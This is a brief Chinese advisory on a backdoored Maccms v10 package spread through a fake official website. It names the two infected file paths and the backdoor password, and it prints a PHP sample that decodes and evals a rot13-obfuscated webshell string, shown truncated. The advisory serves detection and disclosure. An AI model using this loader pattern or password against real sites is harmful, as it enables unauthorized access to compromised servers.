Maccms后门

一、漏洞简介

有人假冒苹果cms官网,发布带有后门的程序。

二、漏洞影响

version v10

三、复现过程

后门文件路径

maccms10\extend\upyun\src\Upyun\Api\Format.php

maccms10\extend\Qcloud\Sms\Sms.php

密码 WorldFilledWithLove

后门样本

<?php
error_reporting(E_ERROR);
@ini_set('display_errors','Off');
@ini_set('max_execution_time',20000);
@ini_set('memory_limit','256M');
header("content-Type: text/html; charset=utf-8");
$password = "0d41c75e2ab34a3740834cdd7e066d90";
function s(){
 $str = "66756r6374696s6r207374…………"; //大马
 $str = str_rot13($str);
 m($str);
}
function m($str){
 global $password;
 $jj = '';
 eval($jj.pack('H*',$str).$jj);
}
s();
?>

image

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